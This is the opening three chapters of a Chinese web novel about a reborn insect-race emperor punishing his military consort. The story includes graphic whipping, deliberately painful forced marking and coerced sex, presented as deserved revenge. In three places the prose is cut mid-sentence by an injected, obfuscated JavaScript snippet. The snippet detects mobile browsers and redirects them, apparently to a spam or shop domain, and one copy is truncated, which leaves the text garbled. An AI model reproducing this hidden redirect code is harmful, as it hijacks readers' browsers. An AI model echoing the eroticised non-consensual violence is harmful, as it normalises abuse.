《雌君战死七年后,我重生了》 1. 重生 我坐在黑暗中,呆呆地看着天上。 黑暗无边无际,没有光明,也没有声音。天空也是黑色的,只有一颗星星挂在那里。 红色的星星,一动不动地挂在天上。 我也一动不动,意识像云雾一样飘散着,无法思考,也无法凝聚。 我开始有些恐慌,但我望向那颗星星,它和我一同待在这个无边的黑暗里。 ——它还在。 我的心便又安宁下来。 我抱着腿,一眨不眨地看着红色的星星,感到无比的宁静。 星星闪烁了一下,忽地从天空坠落,消失不见。 我呆住了,爬起来惶然地找它,但找不到。 星星消失了。 当我意识到这个事实时,周围的黑暗忽然侵压过来,无比庞大的恐慌一瞬间吞没了我。 ——我失去了它。 …… 圣蒂兰,寝宫。 宫殿里安安静静,厚重的帷幕笼着宽大的圆床,蓬松堆叠的被褥间,一个白发青年紧闭着双眼,呼吸急促,额头遍布冷汗,在睡梦中的神色十分不安。 “轰隆”一声炸响,青年霍然睁开眼,猛地从床上坐了起来,大口大口喘气。 菲诺茨捂住额头,一阵阵剧痛从脑海里传来,无数零碎的记忆碎片不停闪过,好像要把他的大脑挤爆一样。 太阳穴突突直跳,尖锐的撕裂感从头皮一直深入到颅内,让他恨不得把整个脑子都挖出来。 柔软的白发被冷汗打湿,一缕缕黏在脸上,菲诺茨抱着头,呼吸因疼痛细微颤抖,嘴唇已经被咬得失去了血色,几乎咬出了血。 忍耐了许久,像是再也忍不了了似的,他伸出一只手,在床头胡乱摸到什么,狠狠砸了出去! “啪!!” 杯皿碎裂的声音在空荡的寝殿内格外突兀,下一秒,门被轻轻敲响,门外传来迟疑的询问声:“……陛下?” 菲诺茨闭着眼缓了缓呼吸,开口,嗓音沙哑:“进来。” 亚雌侍者推开门进来,打开灯,小心地避开地上的碎片走过来,却又像顾忌着什么似的,没敢靠太近,也不敢大声喘气。 厚实的帷幕将床铺遮得严严实实,只有一点缝隙,能看见里面捂着额头的白发雄虫。 白发雄虫有着一张精致美丽的脸,睫毛纤浓,身形修长,紧咬着嘴唇、额头满是冷汗的样子让他看起来多了几分脆弱,但亚雌侍者却丝毫不敢大意。 他隔着一小段距离,觑着这位伽法斯帝国最尊贵的雄虫,小心翼翼问:“陛下有什么吩咐?” 床上的青年闭着眼睛,过了一会儿,睁开,嗓音嘶哑:“他呢?” 亚雌侍者一愣:“陛下是问西切尔元帅?” 西切尔。 菲诺茨呼吸一滞,在听到这个名字的一瞬间,胸口就蓦然紧缩起来,生出一股近乎疼痛般的错觉。 他不说话,亚雌侍者就以为他默认了。菲诺茨听见他说:“西切尔元帅还在庭院里。” 在庭院里…… 菲诺茨慢半拍地想起,是了,四天前,他刚和西切尔举行过婚礼。 那是一场全网直播,万众瞩目、却异常仓促简陋的婚礼。婚礼当晚,他永久标记了西切尔,之后,西切尔就被罚去了庭院里跪下。 算一算,到现在,已经整整三天了…… 他沉默的时候,一旁的亚雌侍者表情有些踌躇,似乎想说什么,又不知道该不该说。 最后还是大着胆子开口:“陛下,下雨了……” 他小心觑着菲诺茨的脸色:“元帅刚被标记过,是不是应该让他先进来……” 说着说着,他猛地收声,只因床上的雄虫看了过来,指缝间露出的蓝眸中满是冰冷与阴鸷。 亚雌侍者心里一颤,冷汗瞬间生了满背,低下头,再不敢多说一个字。 寝宫里陷入一片死寂。 不知过去了多久,菲诺茨慢慢开口:“下雨了?” 亚雌侍者低声道:“是。” 仿佛在应和他的回答,一道惨白的电光刹那间划过,照亮整个宫殿,随即轰隆隆的雷鸣响了起来,传入寝殿中,只剩下低低的轰响,闷闷的,仿佛砸在心上。 脑海中的剧痛缓解了一些,菲诺茨放下手,看向窗户。 窗户被厚重的窗帘挡了起来,看不到外面的庭院,也听不到外面的雨声。 白发雄虫面无表情,不知道在想些什么,过了一会儿,他掀开杯子下床,往外走去。 亚雌侍者愣了愣,急忙抱起鞋追了上去:“陛下,您的鞋还没穿……” 菲诺茨走到殿外,宫殿铺着地砖,冰冷的凉气透过脚心传入身体,让刺痛的大脑更加清醒。 转过一道门,他看见了那只雌虫。 红发军雌双手被缚在身后,脖间带着抑制环,低着头跪在庭院中。 暴雨浇透了他单薄的衣物,露出背上一道道新鲜的鞭痕。 刚经历过永久标记的雌虫,身体虚弱,又被惩罚了一夜,背上布满鞭伤,强悍的自愈力被抑制环压制,过了三天,伤口也还是在不断渗血。 丝丝缕缕的血晕染在白色军装衬衫上,洇开鲜红的圆痕,又被雨水冲刷着带走,变作浅淡的粉色。 那一头红发也被打湿了,黏在脸上,雨水顺着发丝流下,变成一条条小溪,流淌过脸颊,又在下巴处汇聚,涓涓落地。 庭院两侧站着侍卫,目不斜视地值守着,每只虫的头顶都亮着光屏,阻隔着倾泻而下的雨水。 偌大的庭院中,只有红发军雌一只虫,孤零零跪在那里,接受暴雨的冲击。 “咔嚓——” 又是一道电光划过,菲诺茨看清了雌虫惨白的脸色和隐忍痛苦的眼睛。 那是一双和发丝同色的眼眸,热烈的红色,即便盛满痛楚,也依旧明亮,像流动的岩浆,像跃动的火焰。 可菲诺茨眼前却闪过另一张脸。 同样苍白没有血色的脸,眼睛却紧闭起来,冰冷地躺在水晶棺中,暗红的发丝色泽黯淡,像失去所有热量的红矮星,又像火焰燃烧后,残留的灰败余烬。 胸口好像被抓紧了,紧紧地攥在了一起。 菲诺茨闭上眼,想要缓解这突如其来的窒息感。 亚雌侍者抱着鞋走到他身后,犹豫道:“陛下……” 菲诺茨没有说话,过了许久,他睁开眼睛,转身回去,又停下脚步,微微侧头:“让他进来。” 亚雌侍者愣了愣,远处的红发军雌也慢半拍地抬起头,恍惚的目光看了过来,在他身上停留一秒,落在光裸的脚面上,干裂的嘴唇微微动了一下。 菲诺茨没有理会他们的眼神,径直回到寝宫。 过了一会儿,红发军雌被带了过来,还是那套湿透的衣服,只用毛巾草草擦了两下,以防雨水打湿寝殿的地毯。 亚雌侍者在外面关上门,寝宫里只剩下他们。 红发军雌走到菲诺茨面前,在他的目光中,慢慢屈起腿,跪在了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088524|195420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地上。 他低低道:“……陛下。” 他没有叫菲诺茨的名字,因为那毫无疑问会让雄虫暴怒,也没有叫那个最亲密的称呼,因为他们都知道,他没有资格叫他“雄主”。 正如这一场婚礼,并不是什么美好爱情的结尾,而只是一场迟来了许多年的报复的开端。 菲诺茨看着眼前的雌虫。 这就是他的雌君,伽法斯帝国的元帅,西切尔。 目光慢慢下滑,落在雌虫平坦紧致的小腹上。 在未来,这里会孕育出一颗虫蛋,在他刚刚知道它存在的那一刻,就随着它的雌父,一同死去了。 大脑里依然在闪过零星的碎片,那些混乱的记忆碎片交织在一起,有的能看清,有的看不清。 脑海的撕裂感始终挥之不去,过去、现在、未来在他眼前切割,世界有种被解离的不真实感,但当目光落在面前的雌虫身上,他又被一瞬间拉回了现实。 红发军雌跪在他面前,低着头,白色的军装衬衫贴在身上,勾勒出精壮流畅的肌肉轮廓,也让背上的鞭痕更加清晰。 没了雨水的冲洗,那些鞭伤里渗出的鲜血在衣服上晕开,让雌虫本就苍白的脸色显得更加惨白如纸。 抑制环仍在发挥作用,军雌高大的身体微微颤抖着,显出其内正在忍受的痛苦。 刚被永久标记的雌虫,身体会极度虚弱,对雄虫格外依赖,极度渴望雄虫的抚慰和陪伴。 更别提,那还是一场覆盖标记。 由他菲诺茨,覆盖掉另一只雄虫在这只雌虫身上留下的永久标记。 ——另一只雄虫。 菲诺茨慢慢掐紧了手心。 上辈子的事,菲诺茨已经记得不太清楚。 西切尔死了七年,七年的时间不算很长,对他来说,却已经足够久。 那么久的日子里,他已经开始淡忘他们的过去。 他以为他已经不在乎了,可是在回忆起来的这一刻,满腔的恨意重又席卷了上来,汹涌地炙烤着胸腔。 受到他沸腾的精神力影响,红发军雌脸色煞白,像是被滚烫的岩浆包裹,连呼吸都变得艰难,结实的身躯颤抖得更加剧烈,被无形的压迫力强行压弯,痛苦地蜷缩起来。 菲诺茨冷眼看着这一幕。 三天不吃不喝,对雌虫来说不算什么,哪怕是刚被永久标记过的雌虫,强悍的身体也足以让他们忍耐。 西切尔看起来这么凄惨,只是因为他承受的是覆盖标记。 覆盖永久标记对雌虫来说极为煎熬,不啻于最狠厉的刑罚,之前在过程中的每一秒,西切尔都在颤抖,惨白的脸上失去所有血色,又被冷汗打湿。 那一双红眸里溢满生理性的泪水,嘴唇也被他自己在忍耐中咬烂了。 可即便这样,他也没有一句求饶。 是啊,他怎么会求饶呢? 走上这个帝国的顶点,攀上所有权力的最高峰,不正是他梦寐以求、不惜背叛自己也要得到的吗? 心里有道声音在冷笑,菲诺茨面无表情地看着这只在自己精神力影响下,痛苦不堪的雌虫。 “西切尔。”他淡淡开口。 红发军雌艰难喘了口气,挪动身体,忍着身体的剧痛,一点点在他面前重新跪好:“……陛下。” 菲诺茨走到他面前,垂下目光,冰冷地望着这只雌虫。 他冷漠地说: “侍奉我。” ——他怎么能放过这只雌虫? 2. 不得善终 覆盖永久标记的进度,由精神力和信息素共同决定。 精神力标记精神,信息素标记身体。 身体的覆盖标记,只需要一次就可以,精神上的却需要许多次。 精神力越强大的雄虫,覆盖掉上一只雄虫标记的速度就越快,但与之相对的,承受的雌虫也就越痛苦。 信息素可以缓解这种痛苦,让雌虫在没有任何不适的情况下完成整个过程,但菲诺茨没有这么做。 他的精神力是历代王虫中最高的,比大皇子还高一个等级,由他所做的覆盖标记,只会比寻常雄虫更加痛苦。 但在彻底标记了西切尔的身体后,他就停止了信息素的释放,任由红发雌虫在剧痛中煎熬,惨白着脸发抖。 精神标记带来的痛感只有在彻底完成后才会消失,这也就意味着,在那之前,菲诺茨的每一次标记,对西切尔来说,都会像第一次一样。 身下的雌虫双手被束在头顶,冷汗遍布全身,因疼痛而紧紧咬着的嘴唇上已经见了血,苍白的脸上看不到一丝血色,呼吸也在发着颤。 那双湿润的红眸泛着生理性的泪水,里面看不到一丝快乐,弥漫的只有痛苦,仿佛接受的不是一场本该欢愉的标记,而是一场刑罚。 菲诺茨冷眼看着他,并没有为他缓解的意思。 恨意像火舌,燎烤着他的胸腔,让他一次又一次,将惩罚落下。 他就是要让他痛。 他要让这只雌虫看清楚,记住,到底是谁在标记他。 …… 天快亮时,菲诺茨停了下来。 西切尔跪趴在床上,身体还在痉挛,双眸却已经紧闭起来,垂着头,失去了意识。 在婚礼前,他刚刚结束了一场平乱,回来后就马不停蹄地参加大婚,随后是一夜的标记和鞭笞,又带着抑制环被罚跪三天,直到现在。 漫长的折磨没有耗干他的体力,刚被标记的身体却承受不住精神印记被覆盖的剧痛,因超出阈值而昏死过去。 菲诺茨冷着脸松开手里拽着的虫翼,从床上起身。 简简单单的一个动作,却让昏迷中的雌虫本能地瑟缩了下,强健的身躯细微颤抖。 下了床,床幔自动垂落,挡住里面的场景。 菲诺茨按下呼唤铃,厚重的雕花大门被无声推开,一队侍从端着洗漱用品,安静地进入殿中。 在侍从们的服侍下洗漱换衣,菲诺茨离开寝殿,到餐桌上坐下。 侍从们侍立在一旁,没有一只虫发出声音,空旷的大厅里只有轻微的杯碟碰撞声,几乎连呼吸都听不见,空空荡荡,冰冷死寂。 这是圣蒂兰宫的常态。 自从菲诺茨继位后,这座辉煌宏伟的王城就被笼罩在了冷漠阴郁之下,所有虫都战战兢兢,过得十分压抑。 上辈子在西切尔死去之后,这里更是彻底没有了鲜活气,冰冷沉默,死寂得犹如一座墓地。 菲诺茨面无表情地切下不知道什么肉制成的肉排,放进嘴里,咽下之后,端起旁边的果汁,一饮而尽。 放下杯子,他拿起餐巾按了按嘴角,结束今天的进食。 一旁站着的第一侍从官米迦适时上前,低声禀告:“陛下,伊凡亲王已经在接见厅等候了。” 萨维罗尼多·伊凡,上上任虫皇的雌子,同时也是帝国情报处处长,坚定的新皇党,菲诺茨倚重的臣子。 菲诺茨起身,向书房走去,冷冷道:“带他到书房见我。” “是。” 来到书房,菲诺茨在办公桌后坐下,面前堆着厚厚的文件。 在帝国,真正需要虫皇处理的事务其实并不多。 虫族雄尊雌卑,等级分明,森严的等级决定了每只虫应该做的事。 雌虫负责保家卫国、清理星域、向外扩张、获取资源。 亚雌负责整理资料、担任后勤,承担社会各个环节的文书工作。 稀少而珍贵的雄虫则被保护起来,享受整个虫族的供奉,不被要求做任何事,只需要承担繁衍、播种的责任。 而在此之上,王虫凌驾于一切。 和其他种族的王朝比起来,虫族更像是一艘航行于大海上的巨轮。 每一只虫都是船体的一部分,只有虫皇是唯一的指挥者,引领这艘巨轮,决定航行的方向,无论前方到达的是繁荣,抑或是毁灭。 但少并不代表没有,菲诺茨刚刚继位,许多事情都要交接,杂七杂八加在一起,也能堆满半张桌子。 随手翻开一份文件。 上辈子的这段时间,对菲诺茨来说已经是很遥远的过去了,看到文件上提到的事,都得想一想才能回忆起来。 “扣扣。” “陛下,伊凡亲王到了。” 菲诺茨随手放下文件,又拿起另一本翻看:“进来。” 门打开,身着军装的中年军雌走了进来,单膝下跪,向他行礼:“陛下。” “起来吧。” 伊凡亲王起身,顺着指示坐到另一张椅子上。 “逃走的那一批叛军,已经大致确定在奥利法星系,具体藏匿在哪颗星球,目前还在排查。” 菲诺茨翻阅文件的手顿了顿。 成王败寇,这一代王虫里只有菲诺茨和大皇子卡洛斯两只雄虫,在菲诺茨这个三皇子上台后,原本追随卡洛斯的虫自然而然就成了叛党。 上辈子,那些叛党在一只名叫利维的军雌带领下,始终藏在奥利法星系,借着混乱的小行星带躲避帝国追捕,又利用资源星上丰富的矿藏,打造了许多武器。 到后来,甚至发展成了一支颇为可观的武装力量,在帝国各处游荡,不停骚扰,给他找麻烦。 军部曾几次派兵,想要剿灭他们,都铩羽而归,要么是被反打一波就跑,要么就是根本摸不着对面的影子。 最后还是西切尔带领一支作战部队亲自出征,才彻底将其击溃。 回忆了一下那时的作战记录,菲诺茨道:“α-4323小行星带,去这里找。” 伊凡亲王愣了下,倒也没多问,直接点了点头:“是。” 他们这位虫皇是实打实落入谷底,又一点点爬上来的狠虫,心性、手腕、魄力,样样不缺。 哪怕整个帝国都在因他残暴的名声踌躇观望,但也有许多虫甘愿追随他,他自己不也是其中之一? 有什么特殊的情报源也说得通。 掠过这茬,他继续汇报起其他的事:“之前支持大皇子的贵族们现在已经押入帝国监狱,等待流放,他们想要用家族资产减免刑期,监狱长那边还未给出答复,大概是想看您的意思。” “告诉他不用管,刑期照旧。” “是。亚尼桑克公国大使馆这两天有点不安分,和星系外频频联络,目前还来是想趁乱逃跑,我已经派虫把他们控制住了,发函过去,正在等对面回应。” “不用等,直接转交军部。” “……” 一项项事情汇报出来,菲诺茨一边翻阅文件,一边头也不抬地给出回答。 上辈子他刚继位的时候,对政务还不熟悉,做决定前每每都要思虑再三,现在有了前世的记忆,再处理起这些事,就得心应手多了。 伊凡亲王并不知道这些,只是在心里默默点头。 三皇子殿下并不是按照储君培养的,他之前还有点担心,怕殿下初初上位,处理不好事情,会手忙脚乱,但现在看来,是他想多了。 心里不由又多了几分信服。 等该说的都说完,伊凡亲王看了看菲诺茨,表情有些踌躇。 虽然才上任不到一个月,但整个帝国已经完全熟悉了这位新任虫皇陛下的行事风格。 冷酷强硬,独断专行,完完全全的暴君作风。 就拿半个月前的那场风波来说吧,当时陛下一上台,就宣布要娶帝国元帅为雌君。 本来这也没什么,生存和繁衍本就是虫族头等重要的大事,虫皇陛下愿意娶雌虫生蛋,其他虫高兴都还来不及。 但问题在于,这位元帅阁下,他是一只平民雌虫。 即便他是S级雌虫,即便他已经打败无数虫,成为了帝国元帅,也改变不了他只是一个平民的事实。 虫族等级森严,贵族和平民间同样如此。 在菲诺茨放出这个消息后,无数反对、劝阻的话就像潮水一般,涌向了圣蒂兰宫。 可结果呢? 那天到场的虫,有一个算一个,在菲诺茨走出议会厅时,全都是脸色煞白、跪趴在地上的。 新任虫皇用绝对的实力,让所有虫切身体验了一遍,什么叫做“王虫凌驾一切”。 ——不容忤逆,不容辩驳。 身为最早一批追随菲诺茨,一路看着他从被废的皇子登顶虫皇之位的亲信,伊凡亲王对此这一点的认知比其他虫更深,如果可以,他并不想惹怒陛下。 但想到以往见过几面的那位元帅,伊凡亲王犹豫了下,还是开口道:“陛下,还有一件事……” “说。” “是关于西切尔元帅……” 菲诺茨抬起了眼。 伊凡亲王小心道:“西切尔元帅,准备什么时候回军部?” 与其说是问西切尔自己准备什么时候回军部,还不如说是在问菲诺茨,准备什么时候让西切尔回军部。 菲诺茨看着他,冷冷开口:“你很着急?” 目光森冷,无形中透出一股凛然的压迫感。 伊凡亲王手心微微冒汗。 他低下头,放平语气: “我并非想质疑您的决定。您是虫皇陛下,也是西切尔元帅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088525|195420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的雄主,有权决定他的外出与否。只是西切尔元帅一天不回军部,许多决策就一天不能下达。 “现在主星的动乱还没有完全平息,边境也时常被其他势力扰乱,如果一直耽误下去,恐怕会影响帝国的疆域开拓进度……” 他确实没有说谎。 和虫皇只需要统领全局、掌控大方向不同,西切尔作为帝国军方最高指挥官,军部的一应事务最终都要汇报到他那里,由他处理。 对外战略、军团规划、疆域扩张,还有因为皇位更迭引发的一系列连锁反应导致的边境动乱…… 大大小小无数事情,在西切尔婚假不在的这几天,已经快把他的元帅办公室都堆满了。 “各大军团长呢?这点事情都处理不了?让他们自己开会解决。”菲诺茨冷冷道。 伊凡亲王看了他一眼:“但那样,元帅阁下就……” 雌虫生性好斗,各大军团长每位都是经历过无数厮杀争斗才升上来的,没有哪个是蠢货。 这些事情他们当然能处理,但一旦让他们自行处理了,之后再想把决策权收回来就难了。 那样一来,就算之后西切尔回到军部,他手里也没了实权,只剩下一个光秃秃的元帅头衔,好听,却一无是处。 伊凡亲王正想解释,却陡然有种毛骨悚然感,猛地闭上了嘴。 白发雄虫看着他,目光冰冷。 “我说的话,不够清楚吗?” 周围的空气在一瞬间变得黏滞起来,一股山岳般沉重的威势压在了伊凡亲王身上。 那是王虫独有的精神域威势,碾压所有虫族,甚至不需要菲诺茨做什么,只要他发怒,暴烈的精神力波动就会让附近的所有虫两股战战,控制不住地跪下臣服。 “……”伊凡亲王额头滑下一滴冷汗,心里有些惊骇。 他是最早追随菲诺茨的部下,对菲诺茨的实力知之甚深,明白他的精神力场有多么强大。 可之前就算菲诺茨发怒,也没有像现在这样,只是一个眼神,就让他感觉自己脊背都要被压断了,危机感疯狂示警。 蓝发军雌僵在那里,终究是把话都咽了回去,恭顺地低下头:“是,陛下。” 菲诺茨冷漠道:“还有什么事?” “没有了。” 白发雄虫收回目光,那些无形的压力也随之缓缓散开。 伊凡亲王起身行礼告退。 走出书房前,他忍不住回头看了一眼。 新任虫皇陛下坐在长桌后,低垂着眼,正在审批文件。 微蓬的白发散落在他的额前耳边,睫毛纤长浓密,宛如纯白的蝶翼,时不时扑闪一下,面容精致美丽,仅从眉眼来看,和他有几分相似。 如果从血缘上论起,他可以算是菲诺茨的叔叔,只不过虫族亲缘关系淡泊,不是直系血亲,就基本等于陌生虫。 但他也曾在菲诺茨小的时候见过他,记得那个白发柔软、笑容可爱的小雄虫。 那时候的菲诺茨天真烂漫,一双蓝眼睛明媚透亮,宛如干净晴朗的天空,又像清澈无暇的宝石。 可现在的菲诺茨,蓝眸里却只有冰冷与阴鸷,冷酷又无情。 到底是为什么,会变成现在这样呢? 伊凡亲王心里叹息一声,收回目光,默不作声地离开了。 …… 书房里恢复寂静。 菲诺茨抬起眸,看了眼被关上的房门。 上辈子的这个时候,伊凡亲王也进宫找过他。 伊凡亲王不光是向菲诺茨宣誓效忠的臣子,也是一路护送他从荒星回来,在他最虚弱的时候提供庇护的长辈。 他刚正不阿,在整个帝国都在畏惧他、不敢有丝毫触犯的时候,只有伊凡亲王敢直接进宫,和他说这些。 后来也是伊凡亲王,在他将西切尔折磨得最深的时候,跪下来求他,请他放手。 放过西切尔,也放过他自己。 上一世,菲诺茨没有理会,把他关在了宫门外。 之后不久,西切尔就死在了战场上。 在他死后七年,菲诺茨也跟着死去。 或许菲诺茨早就该死了,早在十八岁的监牢里,他就应该死去,是对西切尔的恨,支撑他又活了那么多年。 西切尔死了,他也没有了苟延残喘的能力。 他们都不得善终。 现在重来了一次,他会听伊凡亲王的话,选择放手吗? 菲诺茨看着自己的手,神色隐在阴影里,一动不动。 半晌,那只手慢慢握紧。 他不会。 上辈子不会,这辈子也不会。 他不会放手。 哪怕注定了不会有好下场,他们也要一直纠缠下去,一直折磨下去。 这是那只雌虫欠他的。 3. 第3章 等把所有紧要的文件批阅完,时间已经到了下午。 虫皇新婚,除了一应需要交接的事务外,还有一部分是单纯的祝贺。 菲诺茨在里面看到了几个军团长的,几乎有一半都在遮遮掩掩地询问西切尔的近况,又或隐晦或干巴地提起他以前的功绩。 当初那场审判整个帝国都知道,还一度引起了舆论。西切尔就是指控他的虫这件事,也不是什么秘密。 几个军团长大概是怕他把虫娶回来之后,直接折磨死了,所以才委婉劝导。 雌虫的基因里就写着对雄虫的服从,帝国对雄虫也是近乎无底线的容忍。 哪怕菲诺茨身上有着“虐杀军雌”的罪名,军团长们想的也不是联合起来推翻他,而是尽可能地劝解。 就像伊凡亲王一样。 众所周知,雄虫都是小心眼,爱记仇。 被指控带上审判廷、下狱囚禁、剥夺身份、流放……不管是哪一件,都值得一只雄虫耿耿于怀,铭记一生。 更别提菲诺茨还是一位王虫。 现在大皇子已经死了,只剩下一个西切尔,菲诺茨一上台,什么都不做,就先把他娶了回去,军团长们自然会觉得这位虫皇陛下是想要报复。 不光是他们,整个帝国的军雌差不多都是这么想的。 也就是菲诺茨没上星网,否则他一旦上了,就会发现星网上已经吵翻天了。 西切尔出身平民,却只用十五年时间,就从一个中尉晋升到了元帅。 这在虫族历史上,堪称从未有过的奇迹。 军部、上议院、贵族……各种群体中都有质疑敌对的声音,这只雌虫却硬是用那逆天的战绩和恐怖的履历,堵上了所有虫的嘴。 所有平民军雌都把他视作心目中的偶像,贵族军雌们对他也不乏崇拜。 这样一只强悍的雌虫,理应死在荣耀的战场,而不是被囚禁在深宫,折磨凌虐至死! ——以上是军雌们的看法。 除了这种看法以外,还有一种观点也占据了不少版面。 这批虫以军雌以外的其他雌虫为主,还有部分雄虫也在里面。 他们坚定认为,虫皇陛下是爱元帅的! 没为什么,就因为陛下把元帅娶回去,不是让他当雌侍,而是让他当雌君! 雄虫雌侍可以娶很多个,但雌君却只能有一个。 陛下还是虫皇,他的雌君就是帝国的王君,什么含金量还用说? 这都不是爱?什么是爱! 第三种则是火热的示爱帖,这群虫不管什么陛下和元帅的爱恨纠葛,一心只想求爱。 虫族慕强,对雄虫又是天性里刻着的无条件顺从,菲诺茨既是王族,也是雄虫,还是跌落谷底、又凭实力绝地翻盘、成功继位的虫皇。 几层buff叠满,直接戳爆了雌虫们的xp,就算以前“劣迹斑斑”,也照样有一堆虫哭着喊着,想要嫁给他,当他的雌侍。 报复党和真爱党各执一词,吵得热火朝天,求爱党混在里面看热闹外加煽风点火,一帮子虫从军事军政版块一路厮杀到生活八卦版块,从线上互喷杀到线下约架,杀得是鸡飞狗跳、沸反盈天。 这些热闹菲诺茨都不知道。 当然了,就算他知道,也不会在意就是了。 …… 把几份劝解的文件随手扔开,菲诺茨站起身,离开了书房。 外面依然在下雨,天空阴沉沉的,几个侍者站在角落,见到他,无声低头行礼。 走廊里亮着灯,明亮的灯光照射下来,却只显得空荡。 穿过走廊,菲诺茨回到寝宫。 宫殿里还是他离开之前的样子。 红发雌虫倒卧在圆床上,满身伤痕,宽大的虫翼伏在身体两侧,长长的翼尖一直触到地面,一动不动。 抑制环闪烁着红点,禁锢在他的喉间,丝丝缕缕的血从背上的伤口中渗出,流过饱满结实的肌肉,在皮肤上干涸成一道道暗红的线条,又被新的鲜红覆盖。 菲诺茨走了过去,在床边站定,看着脚边的虫翼。 西切尔的虫翼和他的发色眸色一样,同样是红色的。 翼骨坚硬锋利,战斗时可以轻易撕裂机甲,中间则由无数细小的鳞片覆盖,越往边缘颜色越深,到了翼尖,已经完全成了暗红。 菲诺茨见过这双翅膀在阳光下飞舞的样子,那些鳞片会闪闪发亮,就像虹光在上面流淌,尾端的暗红也会跃动起来,像燃烧的火焰,热烈又温暖。 但现在,它们无力地垂在他脚边,表面凝固着星星点点的浓稠白斑,仿佛是被剪下固定的蝶翼标本,了无生气。 没有菲诺茨的允许,谁也不敢进入这里,所以也没有侍者给西切尔清理,这些东西还留在他的翅膀上面。 菲诺茨的面容隐在阴影中,看不分明。 很奇怪,明明这里只是多了一只雌虫,既没有说话,也没有做什么,他甚至一动不动,还在昏睡,存在感一点也不高,可菲诺茨就是觉得,他的寝宫满了。 他在原地静静站了一会儿,越过无力垂落的虫翼,走上前,按住雌虫脖子上的抑制环。 “嘀。” 检测到指纹,抑制环自动解开,从雌虫喉颈处脱落。 没了压制,S级雌虫的自愈力立即发挥作用,背上那些仍在渗血的鞭痕以肉眼可见的速度停止流血,开始愈合。 红发雌虫眼皮颤抖了下,慢慢睁开了眼,恍惚的目光转动了一圈,落在菲诺茨身上,顿了顿,随即迅速恢复了清醒。 他撑着身体爬了起来,沉默地收拢翅翼,在他面前跪好,低下头。 “……请您责罚。” “责罚……”菲诺茨慢慢重复。 他看着眼前的雌虫。 红发雌虫安静的跪在他面前,低垂着眉眼,他这几天除了吃过菲诺茨,就再也没进食过其他东西,虽然S级雌虫体质强悍,但嘴唇依然有些干裂。 嘴边还有昨天咬出来的血,以及一些没能吃完的残留物沾在上面,狼狈又羞耻,却依然不声不响,一副安静而顺从的样子。 侍奉好雄主,是每只雌虫应尽的义务。 在侍奉途中晕过去,哪怕是因为承受的痛苦超出阈值,身体无法再忍受,那也只会是雌虫的错。 菲诺茨捏住雌虫的下巴,将他的脸抬了起来。 手指细细摩挲着那一小片皮肤,他神色明灭,慢慢道:“我这么对你,你会怪我吗?” 西切尔怔了怔,红眸望着他。 他抿了下嘴唇,嗓音低低的,带着还没恢复的沙哑:“……不会。” “无论我对你做什么,都不会?” 西切尔垂下眼睑,重复:“无论您对我做什么。” 菲诺茨意味不明地看着他:“那如果,我让你这辈子都不去军部了呢?” 西切尔倏地抬起眸,张了张嘴,触及他的目光后,又一点点垂落下去。 他沉默片刻:“……现在边境还有动乱,叛军也没有完全剿灭,军部里面,十大军团长心思不一,如果没有压制,恐怕也要生乱。 “您刚继位,根基不稳,需要有虫帮您稳定军部,处理这些动乱。现在就剥夺我的职位,并不是明智的选择。” 一条一条分析陈列,理由充足。 菲诺茨淡淡道:“你说的没错,但这些事,并不是非你不可。” 西切尔抿了抿唇:“……的确不是,只是对您来说,我是目前最方便的选择。” “如果我非要让你留在圣蒂兰,选别的虫来当这个元帅呢?” 西切尔再次陷入沉默。 片刻后,他低声道:“我可以把职务交给您选择的虫……但请您给我一年时间。至少……让我帮您把军部清理干净。” 听听,多诚恳的语气,好像一心只为他考虑,半点没有私心似的。 都被他无理取闹成这样了,也还是不气不恼,一个劲儿委曲求全,只为了帮他坐稳这个虫皇的位子。 谁听了不觉得这只雌虫忠心耿耿,一心向他? 真会装,菲诺茨心里冷笑。 也是,如果不会装,他当初也不会被他骗到了。 眼神慢慢变得晦暗起来,菲诺茨松开手指,把红发雌虫推倒在床上。 雌虫的生命力都很顽强,S级雌虫更是能够达到一个恐怖的级别,哪怕两三个月不进食,断胳膊断腿、没了半个身子,也依然可以存活下去。 在战争时,S级雌虫单虫就可以作为一座军事堡垒,完全虫化之后,甚至可以和宇宙星兽贴身肉搏。 但就是这种对外武装到牙齿的战争机器,在面对同种族的雄虫时,那身坚硬的虫甲却起不了一点作用,只能无力地、将最柔软的内里袒露出来。 西切尔脸色微微发白,被雄虫压住的身体控制不住地瑟缩了下。 两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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问题隔了一会儿才得到回应。红发雌虫慢慢转动目光,朝他看来,红眸里闪烁着生理性的泪水,有痛苦,有忍耐,也有一抹仿若错觉般的悲哀。 “……”菲诺茨胸口忽然一窒,他神色陡然凶狠起来,掐紧手,在雌虫颤抖着张口时,粗暴地打断了他的话。 “呃!” 雌虫发出一声压不住的痛吟。 床幔上悬挂的流苏剧烈摇晃起来。 被强行拉平的虫翼垂在床沿,边缘尖锐的棱刺颤巍巍合拢,又总是被精神力强迫撑开,在地砖上痉挛滑动,留下一道道发白的刻痕。 菲诺茨死死按着身下的雌虫,神情几近凶厉。 为什么要用这种眼神看着他?! 